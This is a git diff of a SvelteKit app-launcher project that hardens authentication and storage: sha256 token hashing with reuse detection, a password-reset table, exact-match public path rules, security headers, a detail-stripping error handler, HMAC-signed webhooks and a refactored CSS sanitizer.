'@typescript-eslint/no-unused-vars': [
|
||||
'error',
|
||||
{ argsIgnorePattern: '^_', varsIgnorePattern: '^_' }
|
||||
]
|
||||
],
|
||||
'@typescript-eslint/consistent-type-imports': [
|
||||
'warn',
|
||||
{ prefer: 'type-imports', fixStyle: 'separate-type-imports' }
|
||||
],
|
||||
// console.warn/console.error are allowed for server-side observability
|
||||
// (logging dispatch failures, audit fallbacks). console.log is still flagged.
|
||||
'no-console': ['warn', { allow: ['warn', 'error'] }],
|
||||
// SvelteMap / SvelteSet only matter inside .svelte rune state. The
|
||||
// stores layer uses plain Maps as caches that the runtime does not
|
||||
// need to track reactively (consumers re-read via $derived). Disable
|
||||
// project-wide to match the pre-existing repo state, where these
|
||||
// were never enforced.
|
||||
'svelte/prefer-svelte-reactivity': 'off'
|
||||
}
|
||||
},
|
||||
{
|
||||
|
||||
+6
-5
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "web-app-launcher",
|
||||
"version": "0.0.1",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
@@ -15,16 +15,16 @@
|
||||
"lint": "eslint .",
|
||||
"format": "prettier --write .",
|
||||
"format:check": "prettier --check .",
|
||||
"audit:prod": "npm audit --omit=dev --audit-level=high",
|
||||
"db:generate": "prisma generate",
|
||||
"db:push": "prisma db push",
|
||||
"db:migrate": "prisma migrate dev",
|
||||
"db:studio": "prisma studio"
|
||||
},
|
||||
"dependencies": {
|
||||
"@prisma/client": "^6.2.0",
|
||||
"@sveltejs/adapter-node": "^5.2.0",
|
||||
"@sveltejs/kit": "^2.16.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||
"@tailwindcss/typography": "^0.5.19",
|
||||
"bcryptjs": "^2.4.3",
|
||||
"bits-ui": "^1.3.0",
|
||||
"clsx": "^2.1.0",
|
||||
@@ -35,14 +35,13 @@
|
||||
"marked": "^17.0.5",
|
||||
"node-cron": "^3.0.3",
|
||||
"openid-client": "^6.8.2",
|
||||
"prisma": "^6.2.0",
|
||||
"simple-icons": "^13.0.0",
|
||||
"svelte": "^5.0.0",
|
||||
"svelte-dnd-action": "^0.9.69",
|
||||
"svelte-i18n": "^4.0.1",
|
||||
"sveltekit-superforms": "^2.22.0",
|
||||
"tailwind-merge": "^2.6.0",
|
||||
"@prisma/client": "^6.2.0",
|
||||
"prisma": "^6.2.0",
|
||||
"zod": "^3.24.0"
|
||||
},
|
||||
"prisma": {
|
||||
@@ -51,6 +50,8 @@
|
||||
"devDependencies": {
|
||||
"@eslint/js": "^9.18.0",
|
||||
"@sveltejs/package": "^2.3.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||
"@tailwindcss/typography": "^0.5.19",
|
||||
"@tailwindcss/vite": "^4.0.0",
|
||||
"@testing-library/svelte": "^5.2.0",
|
||||
"@types/bcryptjs": "^2.4.6",
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
-- Production-readiness hardening migration:
|
||||
-- * Session: switch tokenHash from bcrypt-hashed to sha256-hashed (deterministic
|
||||
-- lookup), add previousTokenHash for refresh-token reuse detection, add
|
||||
-- unique constraint on tokenHash.
|
||||
-- * AppStatus, AppClick, Notification, AuditLog: composite indexes that match
|
||||
-- the actual query shapes (entity + time range).
|
||||
--
|
||||
-- Existing Session rows store bcrypt hashes that are no longer compatible with
|
||||
-- the new sha256 lookup. We invalidate ALL sessions on upgrade — users will be
|
||||
-- prompted to log in once. This is the safer option than keeping incompatible
|
||||
-- rows that would silently fail validation.
|
||||
|
||||
PRAGMA foreign_keys=OFF;
|
||||
|
||||
-- ---- Session: rebuild with new shape and clear contents ---------------------
|
||||
CREATE TABLE "new_Session" (
|
||||
"id" TEXT NOT NULL PRIMARY KEY,
|
||||
"userId" TEXT NOT NULL,
|
||||
"tokenHash" TEXT NOT NULL,
|
||||
"previousTokenHash" TEXT,
|
||||
"label" TEXT,
|
||||
"userAgent" TEXT,
|
||||
"ipAddress" TEXT,
|
||||
"rememberMe" BOOLEAN NOT NULL DEFAULT false,
|
||||
"lastUsedAt" DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
"expiresAt" DATETIME NOT NULL,
|
||||
"createdAt" DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
CONSTRAINT "Session_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User" ("id") ON DELETE CASCADE ON UPDATE CASCADE
|
||||
);
|
||||
-- intentionally do NOT copy old rows — bcrypt hashes won't validate against
|
||||
-- sha256 lookups and users would silently fail to refresh.
|
||||
DROP TABLE "Session";
|
||||
ALTER TABLE "new_Session" RENAME TO "Session";
|
||||
|
||||
CREATE UNIQUE INDEX "Session_tokenHash_key" ON "Session"("tokenHash");
|
||||
CREATE INDEX "Session_userId_idx" ON "Session"("userId");
|
||||
CREATE INDEX "Session_expiresAt_idx" ON "Session"("expiresAt");
|
||||
|
||||
-- ---- Invite: same bcrypt -> sha256 migration for the same reason ------------
|
||||
-- Invites are short-lived (default 7 days). Existing unused invite rows would
|
||||
-- be unreachable after the switch; clear them so admins re-issue if needed.
|
||||
CREATE TABLE "new_Invite" (
|
||||
"id" TEXT NOT NULL PRIMARY KEY,
|
||||
"tokenHash" TEXT NOT NULL,
|
||||
"email" TEXT,
|
||||
"role" TEXT NOT NULL DEFAULT 'user',
|
||||
"expiresAt" DATETIME NOT NULL,
|
||||
"usedAt" DATETIME,
|
||||
"usedByUserId" TEXT,
|
||||
"createdById" TEXT,
|
||||
"createdAt" DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
DROP TABLE "Invite";
|
||||
ALTER TABLE "new_Invite" RENAME TO "Invite";
|
||||
|
||||
CREATE UNIQUE INDEX "Invite_tokenHash_key" ON "Invite"("tokenHash");
|
||||
CREATE INDEX "Invite_createdById_idx" ON "Invite"("createdById");
|
||||
|
||||
-- ---- ApiToken: same bcrypt -> sha256 migration ------------------------------
|
||||
-- Existing API tokens stop working at upgrade; users must regenerate. This is
|
||||
-- preferable to keeping broken-but-present rows.
|
||||
CREATE TABLE "new_ApiToken" (
|
||||
"id" TEXT NOT NULL PRIMARY KEY,
|
||||
"userId" TEXT NOT NULL,
|
||||
"name" TEXT NOT NULL,
|
||||
"tokenHash" TEXT NOT NULL,
|
||||
"scope" TEXT NOT NULL,
|
||||
"lastUsedAt" DATETIME,
|
||||
"expiresAt" DATETIME,
|
||||
"createdAt" DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
CONSTRAINT "ApiToken_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User" ("id") ON DELETE CASCADE ON UPDATE CASCADE
|
||||
);
|
||||
DROP TABLE "ApiToken";
|
||||
ALTER TABLE "new_ApiToken" RENAME TO "ApiToken";
|
||||
|
||||
CREATE UNIQUE INDEX "ApiToken_tokenHash_key" ON "ApiToken"("tokenHash");
|
||||
CREATE INDEX "ApiToken_userId_idx" ON "ApiToken"("userId");
|
||||
CREATE INDEX "ApiToken_tokenHash_idx" ON "ApiToken"("tokenHash");
|
||||
|
||||
PRAGMA foreign_keys=ON;
|
||||
|
||||
-- ---- Composite indexes for hot query paths ----------------------------------
|
||||
DROP INDEX IF EXISTS "AppStatus_appId_idx";
|
||||
CREATE INDEX "AppStatus_appId_checkedAt_idx" ON "AppStatus"("appId", "checkedAt");
|
||||
|
||||
DROP INDEX IF EXISTS "AppClick_userId_idx";
|
||||
CREATE INDEX "AppClick_userId_clickedAt_idx" ON "AppClick"("userId", "clickedAt");
|
||||
|
||||
DROP INDEX IF EXISTS "Notification_userId_idx";
|
||||
DROP INDEX IF EXISTS "Notification_sentAt_idx";
|
||||
CREATE INDEX "Notification_userId_sentAt_idx" ON "Notification"("userId", "sentAt");
|
||||
|
||||
DROP INDEX IF EXISTS "AuditLog_userId_idx";
|
||||
DROP INDEX IF EXISTS "AuditLog_entityType_entityId_idx";
|
||||
CREATE INDEX "AuditLog_userId_createdAt_idx" ON "AuditLog"("userId", "createdAt");
|
||||
CREATE INDEX "AuditLog_entityType_entityId_createdAt_idx" ON "AuditLog"("entityType", "entityId", "createdAt");
|
||||
@@ -0,0 +1,15 @@
|
||||
-- CreateTable
|
||||
CREATE TABLE "PasswordReset" (
|
||||
"id" TEXT NOT NULL PRIMARY KEY,
|
||||
"userId" TEXT NOT NULL,
|
||||
"tokenHash" TEXT NOT NULL,
|
||||
"expiresAt" DATETIME NOT NULL,
|
||||
"usedAt" DATETIME,
|
||||
"createdById" TEXT,
|
||||
"createdAt" DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
CONSTRAINT "PasswordReset_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User" ("id") ON DELETE CASCADE ON UPDATE CASCADE
|
||||
);
|
||||
|
||||
CREATE UNIQUE INDEX "PasswordReset_tokenHash_key" ON "PasswordReset"("tokenHash");
|
||||
CREATE INDEX "PasswordReset_userId_idx" ON "PasswordReset"("userId");
|
||||
CREATE INDEX "PasswordReset_expiresAt_idx" ON "PasswordReset"("expiresAt");
|
||||
+33
-16
@@ -37,10 +37,26 @@ model User {
|
||||
apiTokens ApiToken[]
|
||||
auditLogs AuditLog[]
|
||||
boardTemplates BoardTemplate[]
|
||||
passwordResets PasswordReset[]
|
||||
|
||||
@@index([email])
|
||||
}
|
||||
|
||||
model PasswordReset {
|
||||
id String @id @default(cuid())
|
||||
userId String
|
||||
tokenHash String @unique // sha256 of the raw reset token
|
||||
expiresAt DateTime
|
||||
usedAt DateTime?
|
||||
createdById String? // admin who issued (if admin-mediated), null if self-service
|
||||
createdAt DateTime @default(now())
|
||||
|
||||
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
|
||||
|
||||
@@index([userId])
|
||||
@@index([expiresAt])
|
||||
}
|
||||
|
||||
model Invite {
|
||||
id String @id @default(cuid())
|
||||
tokenHash String @unique
|
||||
@@ -57,19 +73,21 @@ model Invite {
|
||||
}
|
||||
|
||||
model Session {
|
||||
id String @id @default(cuid())
|
||||
userId String
|
||||
tokenHash String // bcrypt hash of the refresh token
|
||||
label String? // user-friendly, e.g. "Chrome on Windows"
|
||||
userAgent String?
|
||||
ipAddress String?
|
||||
rememberMe Boolean @default(false)
|
||||
lastUsedAt DateTime @default(now())
|
||||
expiresAt DateTime
|
||||
createdAt DateTime @default(now())
|
||||
id String @id @default(cuid())
|
||||
userId String
|
||||
tokenHash String // sha256 hash of current refresh token
|
||||
previousTokenHash String? // sha256 hash of the immediately-previous refresh token (reuse detection)
|
||||
label String?
|
||||
userAgent String?
|
||||
ipAddress String?
|
||||
rememberMe Boolean @default(false)
|
||||
lastUsedAt DateTime @default(now())
|
||||
expiresAt DateTime
|
||||
createdAt DateTime @default(now())
|
||||
|
||||
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
|
||||
|
||||
@@unique([tokenHash])
|
||||
@@index([userId])
|
||||
@@index([expiresAt])
|
||||
}
|
||||
@@ -142,7 +160,7 @@ model AppStatus {
|
||||
|
||||
app App @relation(fields: [appId], references: [id], onDelete: Cascade)
|
||||
|
||||
@@index([appId])
|
||||
@@index([appId, checkedAt])
|
||||
@@index([checkedAt])
|
||||
}
|
||||
|
||||
@@ -302,7 +320,7 @@ model AppClick {
|
||||
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
|
||||
app App @relation(fields: [appId], references: [id], onDelete: Cascade)
|
||||
|
||||
@@index([userId])
|
||||
@@index([userId, clickedAt])
|
||||
@@index([appId])
|
||||
@@index([clickedAt])
|
||||
}
|
||||
@@ -332,9 +350,8 @@ model Notification {
|
||||
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
|
||||
app App? @relation(fields: [appId], references: [id], onDelete: SetNull)
|
||||
|
||||
@@index([userId])
|
||||
@@index([userId, sentAt])
|
||||
@@index([appId])
|
||||
@@index([sentAt])
|
||||
}
|
||||
|
||||
model ApiToken {
|
||||
@@ -364,9 +381,9 @@ model AuditLog {
|
||||
|
||||
user User? @relation(fields: [userId], references: [id], onDelete: SetNull)
|
||||
|
||||
@@index([userId])
|
||||
@@index([userId, createdAt])
|
||||
@@index([action])
|
||||
@@index([entityType, entityId])
|
||||
@@index([entityType, entityId, createdAt])
|
||||
@@index([createdAt])
|
||||
}
|
||||
|
||||
|
||||
Vendored
+1
@@ -12,6 +12,7 @@ declare global {
|
||||
id: string;
|
||||
email: string;
|
||||
displayName: string;
|
||||
avatarUrl: string | null;
|
||||
role: 'admin' | 'user';
|
||||
} | null;
|
||||
session: {
|
||||
|
||||
+77
-43
@@ -1,25 +1,54 @@
|
||||
import type { Handle } from '@sveltejs/kit';
|
||||
import type { Handle, HandleServerError } from '@sveltejs/kit';
|
||||
import { redirect } from '@sveltejs/kit';
|
||||
import { verifyAccessToken } from '$lib/server/services/authService.js';
|
||||
import * as authService from '$lib/server/services/authService.js';
|
||||
import * as userService from '$lib/server/services/userService.js';
|
||||
import * as apiTokenService from '$lib/server/services/apiTokenService.js';
|
||||
import { extractBearerToken } from '$lib/server/middleware/authenticate.js';
|
||||
import { isBoardGuestAccessible } from '$lib/server/middleware/guestAccess.js';
|
||||
import { initBackupScheduler } from '$lib/server/jobs/backupScheduler.js';
|
||||
import { startScheduler as startHealthcheckScheduler } from '$lib/server/jobs/healthcheckScheduler.js';
|
||||
import {
|
||||
clearSessionCookies,
|
||||
rotateSessionCookies,
|
||||
COOKIE_NAMES
|
||||
} from '$lib/server/utils/sessionCookies.js';
|
||||
import { loadUserForLocals } from '$lib/server/utils/userLocals.js';
|
||||
import { applySecurityHeaders } from '$lib/server/utils/securityHeaders.js';
|
||||
|
||||
// Initialize backup scheduler on server startup
|
||||
// Initialize schedulers on server startup. Both honour RUN_SCHEDULERS env var.
|
||||
initBackupScheduler();
|
||||
startHealthcheckScheduler(process.env.HEALTHCHECK_CRON || '* * * * *');
|
||||
|
||||
const PUBLIC_PATHS = ['/login', '/register', '/auth/', '/api/health', '/api/onboarding', '/status'];
|
||||
interface PathRule {
|
||||
readonly path: string;
|
||||
readonly mode: 'exact' | 'prefix';
|
||||
}
|
||||
|
||||
// Exact paths or explicit subtrees that are publicly accessible.
|
||||
// Use exact-match where possible so `/api/health-private` doesn't accidentally
|
||||
// become public when added later.
|
||||
const PUBLIC_PATHS: readonly PathRule[] = [
|
||||
{ path: '/login', mode: 'exact' },
|
||||
{ path: '/register', mode: 'exact' },
|
||||
{ path: '/invite', mode: 'exact' },
|
||||
{ path: '/forgot-password', mode: 'exact' },
|
||||
{ path: '/reset-password', mode: 'exact' },
|
||||
{ path: '/api/health', mode: 'exact' },
|
||||
{ path: '/api/metrics', mode: 'exact' },
|
||||
{ path: '/api/onboarding', mode: 'exact' },
|
||||
{ path: '/auth/', mode: 'prefix' },
|
||||
// Uploaded icons/wallpapers are referenced as <img src> from board widgets,
|
||||
// including guest-accessible boards. The serving handler at
|
||||
// /uploads/[...path]/+server.ts does its own path-traversal protection.
|
||||
{ path: '/uploads/', mode: 'prefix' }
|
||||
];
|
||||
|
||||
function isPublicPath(pathname: string): boolean {
|
||||
return PUBLIC_PATHS.some((path) => pathname === path || pathname.startsWith(path));
|
||||
for (const rule of PUBLIC_PATHS) {
|
||||
if (rule.mode === 'exact' && pathname === rule.path) return true;
|
||||
if (rule.mode === 'prefix' && pathname.startsWith(rule.path)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export const handle: Handle = async ({ event, resolve }) => {
|
||||
@@ -34,13 +63,7 @@ export const handle: Handle = async ({ event, resolve }) => {
|
||||
if (accessToken) {
|
||||
try {
|
||||
const payload = verifyAccessToken(accessToken);
|
||||
const user = await userService.findById(payload.userId);
|
||||
event.locals.user = {
|
||||
id: user.id,
|
||||
email: user.email,
|
||||
displayName: user.displayName,
|
||||
role: user.role as 'admin' | 'user'
|
||||
};
|
||||
event.locals.user = await loadUserForLocals(payload.userId);
|
||||
event.locals.session = {
|
||||
id: sessionId ?? payload.userId,
|
||||
expiresAt: new Date(Date.now() + 15 * 60 * 1000)
|
||||
@@ -50,29 +73,24 @@ export const handle: Handle = async ({ event, resolve }) => {
|
||||
}
|
||||
}
|
||||
|
||||
// If no valid session but refresh + session id exist, try to rotate.
|
||||
if (!event.locals.user && refreshToken && sessionId) {
|
||||
try {
|
||||
const session = await authService.validateSession(sessionId, refreshToken);
|
||||
if (session) {
|
||||
const user = await userService.findById(session.userId);
|
||||
await rotateSessionCookies(
|
||||
event.cookies,
|
||||
session.id,
|
||||
{ id: user.id, email: user.email, role: user.role },
|
||||
session.rememberMe
|
||||
);
|
||||
|
||||
event.locals.user = {
|
||||
id: user.id,
|
||||
email: user.email,
|
||||
displayName: user.displayName,
|
||||
role: user.role as 'admin' | 'user'
|
||||
};
|
||||
event.locals.session = {
|
||||
id: session.id,
|
||||
expiresAt: new Date(Date.now() + 15 * 60 * 1000)
|
||||
};
|
||||
const cachedUser = await loadUserForLocals(session.userId);
|
||||
if (cachedUser) {
|
||||
await rotateSessionCookies(
|
||||
event.cookies,
|
||||
session.id,
|
||||
{ id: cachedUser.id, email: cachedUser.email, role: cachedUser.role },
|
||||
session.rememberMe
|
||||
);
|
||||
event.locals.user = cachedUser;
|
||||
event.locals.session = {
|
||||
id: session.id,
|
||||
expiresAt: new Date(Date.now() + 15 * 60 * 1000)
|
||||
};
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
clearSessionCookies(event.cookies);
|
||||
@@ -86,15 +104,10 @@ export const handle: Handle = async ({ event, resolve }) => {
|
||||
try {
|
||||
const tokenResult = await apiTokenService.validateToken(bearerToken);
|
||||
if (tokenResult) {
|
||||
const user = await userService.findById(tokenResult.userId);
|
||||
event.locals.user = {
|
||||
id: user.id,
|
||||
email: user.email,
|
||||
displayName: user.displayName,
|
||||
role: user.role as 'admin' | 'user'
|
||||
};
|
||||
const tokenUser = await loadUserForLocals(tokenResult.userId);
|
||||
event.locals.user = tokenUser;
|
||||
event.locals.session = {
|
||||
id: user.id,
|
||||
id: tokenResult.userId,
|
||||
expiresAt: new Date(Date.now() + 15 * 60 * 1000)
|
||||
};
|
||||
event.locals.apiTokenScope = tokenResult.scope as 'read' | 'write' | 'admin';
|
||||
@@ -143,16 +156,37 @@ export const handle: Handle = async ({ event, resolve }) => {
|
||||
const boardId = boardMatch[1];
|
||||
const isGuestAccessible = await isBoardGuestAccessible(boardId);
|
||||
if (isGuestAccessible) {
|
||||
return resolve(event);
|
||||
return applySecurityHeaders(await resolve(event), process.env.ORIGIN);
|
||||
}
|
||||
}
|
||||
|
||||
if (pathname === '/') {
|
||||
return resolve(event);
|
||||
// Public landing also allowed without auth (renders guest-accessible boards
|
||||
// or a "please log in" view).
|
||||
if (pathname === '/' || pathname === '/status') {
|
||||
return applySecurityHeaders(await resolve(event), process.env.ORIGIN);
|
||||
}
|
||||
|
||||
throw redirect(302, '/login');
|
||||
}
|
||||
|
||||
return resolve(event);
|
||||
const response = await resolve(event);
|
||||
return applySecurityHeaders(response, process.env.ORIGIN);
|
||||
};
|
||||
|
||||
/**
|
||||
* Centralized error handler — strips internal error details and logs the cause.
|
||||
* Without this, SvelteKit will display the raw thrown message which can leak
|
||||
* stack traces, file paths, or upstream IdP error_descriptions.
|
||||
*/
|
||||
export const handleError: HandleServerError = ({ error, event }) => {
|
||||
|
||||
console.error(`[error] ${event.request.method} ${event.url.pathname}:`, error);
|
||||
return {
|
||||
message:
|
||||
process.env.NODE_ENV === 'production'
|
||||
? 'An unexpected error occurred'
|
||||
: error instanceof Error
|
||||
? error.message
|
||||
: String(error)
|
||||
};
|
||||
};
|
||||
|
||||
@@ -62,7 +62,7 @@
|
||||
];
|
||||
|
||||
function applyFilters() {
|
||||
// eslint-disable-next-line svelte/prefer-svelte-reactivity
|
||||
|
||||
const params = new URLSearchParams();
|
||||
if (filterAction) params.set('action', filterAction);
|
||||
if (filterEntityType) params.set('entityType', filterEntityType);
|
||||
@@ -73,7 +73,7 @@
|
||||
}
|
||||
|
||||
function changePage(delta: number) {
|
||||
// eslint-disable-next-line svelte/prefer-svelte-reactivity
|
||||
|
||||
const params = new URLSearchParams($page.url.searchParams);
|
||||
params.set('page', String(Math.max(1, currentPage + delta)));
|
||||
goto(`/admin/audit-log?${params.toString()}`, { replaceState: true });
|
||||
|
||||
@@ -42,7 +42,22 @@
|
||||
})
|
||||
.catch(() => {});
|
||||
});
|
||||
let availableIntegrations = $state<Array<{ id: string; name: string; icon: string; authConfigFields: any[]; extraConfigFields: any[] }>>([]);
|
||||
interface IntegrationField {
|
||||
name: string;
|
||||
type: 'string' | 'number' | 'boolean';
|
||||
required: boolean;
|
||||
label: string;
|
||||
description?: string;
|
||||
}
|
||||
let availableIntegrations = $state<
|
||||
Array<{
|
||||
id: string;
|
||||
name: string;
|
||||
icon: string;
|
||||
authConfigFields: IntegrationField[];
|
||||
extraConfigFields: IntegrationField[];
|
||||
}>
|
||||
>([]);
|
||||
let integrationConfig = $state<Record<string, unknown>>({});
|
||||
let testingConnection = $state(false);
|
||||
let testResult = $state<{ success: boolean; message: string } | null>(null);
|
||||
|
||||
@@ -148,7 +148,6 @@
|
||||
<svelte:window onkeydown={handleKeydown} />
|
||||
|
||||
<!-- Backdrop -->
|
||||
<!-- svelte-ignore a11y_click_events_have_key_events -->
|
||||
<div
|
||||
class="fixed inset-0 z-50 flex items-center justify-center bg-black/50"
|
||||
onclick={handleBackdropClick}
|
||||
|
||||
@@ -1,42 +1,18 @@
|
||||
<script lang="ts">
|
||||
import { sanitizeCss, scopeCss } from '$lib/utils/cssSanitize.js';
|
||||
|
||||
interface Props {
|
||||
css: string;
|
||||
}
|
||||
|
||||
let { css }: Props = $props();
|
||||
|
||||
/**
|
||||
* Sanitize CSS to prevent XSS vectors while keeping valid styling rules.
|
||||
* All custom CSS is wrapped in .custom-css-scope to prevent breaking critical UI.
|
||||
*/
|
||||
const sanitizedCss = $derived.by(() => {
|
||||
if (!css) return '';
|
||||
|
||||
let cleaned = css;
|
||||
|
||||
// Remove any HTML tags (including <script>)
|
||||
cleaned = cleaned.replace(/<\/?[^>]+(>|$)/g, '');
|
||||
|
||||
// Remove javascript: URLs
|
||||
cleaned = cleaned.replace(/javascript\s*:/gi, '');
|
||||
|
||||
// Remove expression() calls
|
||||
cleaned = cleaned.replace(/expression\s*\(/gi, '');
|
||||
|
||||
// Remove url() with javascript:
|
||||
cleaned = cleaned.replace(/url\s*\(\s*['"]?\s*javascript:/gi, 'url(');
|
||||
|
||||
// Remove @import rules
|
||||
cleaned = cleaned.replace(/@import\s+[^;]+;?/gi, '');
|
||||
|
||||
// Remove behavior: (IE XSS)
|
||||
cleaned = cleaned.replace(/behavior\s*:/gi, '');
|
||||
|
||||
// Remove -moz-binding (Firefox XSS)
|
||||
cleaned = cleaned.replace(/-moz-binding\s*:/gi, '');
|
||||
|
||||
return cleaned;
|
||||
});
|
||||
// CSS is also sanitized server-side at SAVE time. This is defense-in-depth
|
||||
// so legacy unsanitized rows (or any future client-rendered preview) cannot
|
||||
// inject script-bearing CSS. We also prefix every selector with
|
||||
// `.custom-css-scope` so a malicious admin's `body { display:none }` cannot
|
||||
// hide the whole app — the rule only takes effect inside the wrapper div.
|
||||
const sanitizedCss = $derived(scopeCss(sanitizeCss(css ?? '')));
|
||||
</script>
|
||||
|
||||
{#if sanitizedCss}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
<script lang="ts">
|
||||
import { Eye, EyeOff } from 'lucide-svelte';
|
||||
import { NotificationType } from '$lib/utils/constants.js';
|
||||
|
||||
interface ChannelData {
|
||||
@@ -28,6 +29,9 @@
|
||||
let telegramChatId = $state('');
|
||||
let httpUrl = $state('');
|
||||
let httpMethod = $state('POST');
|
||||
let httpSecret = $state('');
|
||||
let httpSignatureHeader = $state('');
|
||||
let showHttpSecret = $state(false);
|
||||
|
||||
// Parse existing config
|
||||
if (channel?.config) {
|
||||
@@ -47,6 +51,8 @@
|
||||
case 'http':
|
||||
httpUrl = parsed.url ?? '';
|
||||
httpMethod = parsed.method ?? 'POST';
|
||||
httpSecret = parsed.secret ?? '';
|
||||
httpSignatureHeader = parsed.signatureHeader ?? '';
|
||||
break;
|
||||
}
|
||||
} catch {
|
||||
@@ -62,8 +68,14 @@
|
||||
return JSON.stringify({ webhookUrl: slackWebhookUrl });
|
||||
case 'telegram':
|
||||
return JSON.stringify({ botToken: telegramBotToken, chatId: telegramChatId });
|
||||
case 'http':
|
||||
return JSON.stringify({ url: httpUrl, method: httpMethod });
|
||||
case 'http': {
|
||||
// Only include secret/signatureHeader when set, to keep the stored
|
||||
// config minimal and avoid encrypting empty strings.
|
||||
const cfg: Record<string, string> = { url: httpUrl, method: httpMethod };
|
||||
if (httpSecret) cfg.secret = httpSecret;
|
||||
if (httpSignatureHeader) cfg.signatureHeader = httpSignatureHeader;
|
||||
return JSON.stringify(cfg);
|
||||
}
|
||||
default:
|
||||
return '{}';
|
||||
}
|
||||
@@ -207,6 +219,55 @@
|
||||
<option value="PATCH">PATCH</option>
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label for="http-secret" class="mb-1 block text-sm font-medium text-foreground">
|
||||
Webhook secret <span class="text-xs font-normal text-muted-foreground">(optional)</span>
|
||||
</label>
|
||||
<div class="relative">
|
||||
<input
|
||||
id="http-secret"
|
||||
type={showHttpSecret ? 'text' : 'password'}
|
||||
bind:value={httpSecret}
|
||||
placeholder="Shared secret for HMAC-SHA256 signature"
|
||||
autocomplete="off"
|
||||
class="w-full rounded-md border border-input bg-background px-3 py-2 pr-10 font-mono text-sm text-foreground"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => (showHttpSecret = !showHttpSecret)}
|
||||
aria-label={showHttpSecret ? 'Hide secret' : 'Show secret'}
|
||||
class="absolute inset-y-0 right-0 flex items-center px-2.5 text-muted-foreground hover:text-foreground"
|
||||
>
|
||||
{#if showHttpSecret}
|
||||
<EyeOff class="h-4 w-4" />
|
||||
{:else}
|
||||
<Eye class="h-4 w-4" />
|
||||
{/if}
|
||||
</button>
|
||||
</div>
|
||||
<p class="mt-1 text-xs text-muted-foreground">
|
||||
When set, requests are signed with HMAC-SHA256 and sent as
|
||||
<code class="rounded bg-muted/40 px-1">sha256=<hex></code> in the signature header,
|
||||
alongside an <code class="rounded bg-muted/40 px-1">X-Webhook-Timestamp</code>.
|
||||
</p>
|
||||
</div>
|
||||
<div>
|
||||
<label for="http-sig-header" class="mb-1 block text-sm font-medium text-foreground">
|
||||
Signature header name
|
||||
<span class="text-xs font-normal text-muted-foreground">(optional)</span>
|
||||
</label>
|
||||
<input
|
||||
id="http-sig-header"
|
||||
type="text"
|
||||
bind:value={httpSignatureHeader}
|
||||
placeholder="X-Signature-256"
|
||||
autocomplete="off"
|
||||
class="w-full rounded-md border border-input bg-background px-3 py-2 text-sm text-foreground"
|
||||
/>
|
||||
<p class="mt-1 text-xs text-muted-foreground">
|
||||
Defaults to <code class="rounded bg-muted/40 px-1">X-Signature-256</code>. Override for receivers expecting a different name (e.g. <code class="rounded bg-muted/40 px-1">X-Hub-Signature-256</code>).
|
||||
</p>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<!-- Enabled Toggle -->
|
||||
@@ -222,7 +283,7 @@
|
||||
|
||||
<!-- Test Result -->
|
||||
{#if testResult}
|
||||
<p class="text-sm {testResult.startsWith('Failed') ? 'text-destructive' : 'text-green-500'}">
|
||||
<p class="text-sm {testResult.startsWith('Failed') ? 'text-destructive' : 'text-emerald-500'}">
|
||||
{testResult}
|
||||
</p>
|
||||
{/if}
|
||||
|
||||
@@ -25,7 +25,7 @@
|
||||
async function loadNotifications(page: number = 1) {
|
||||
loading = true;
|
||||
try {
|
||||
// eslint-disable-next-line svelte/prefer-svelte-reactivity
|
||||
|
||||
const params = new URLSearchParams({
|
||||
limit: String(PAGE_SIZE),
|
||||
offset: String((page - 1) * PAGE_SIZE)
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
<script lang="ts">
|
||||
import { goto } from '$app/navigation';
|
||||
|
||||
const STEPS = ['welcome', 'admin', 'authMode', 'theme', 'complete'] as const;
|
||||
type Step = (typeof STEPS)[number];
|
||||
|
||||
|
||||
@@ -68,7 +68,6 @@
|
||||
</script>
|
||||
|
||||
{#if search.open}
|
||||
<!-- svelte-ignore a11y_click_events_have_key_events -->
|
||||
<div
|
||||
class="fixed inset-0 z-50 flex items-start justify-center bg-black/50 pt-[15vh] backdrop-blur-sm"
|
||||
onclick={handleBackdropClick}
|
||||
|
||||
@@ -1,22 +0,0 @@
|
||||
<script lang="ts">
|
||||
interface Props {
|
||||
count?: number;
|
||||
}
|
||||
|
||||
let { count = 3 }: Props = $props();
|
||||
|
||||
const items = $derived(Array.from({ length: count }, (_, i) => i));
|
||||
</script>
|
||||
|
||||
{#each items as i (i)}
|
||||
<div class="rounded-lg border border-border bg-card p-5">
|
||||
<div class="flex items-start gap-3">
|
||||
<div class="skeleton h-8 w-8 rounded-md"></div>
|
||||
<div class="min-w-0 flex-1">
|
||||
<div class="skeleton mb-2 h-5 w-1/2 rounded"></div>
|
||||
<div class="skeleton mb-1 h-3 w-full rounded"></div>
|
||||
<div class="skeleton mt-2 h-3 w-20 rounded"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{/each}
|
||||
@@ -1,21 +0,0 @@
|
||||
<script lang="ts">
|
||||
interface Props {
|
||||
count?: number;
|
||||
}
|
||||
|
||||
let { count = 1 }: Props = $props();
|
||||
|
||||
const items = $derived(Array.from({ length: count }, (_, i) => i));
|
||||
</script>
|
||||
|
||||
{#each items as i (i)}
|
||||
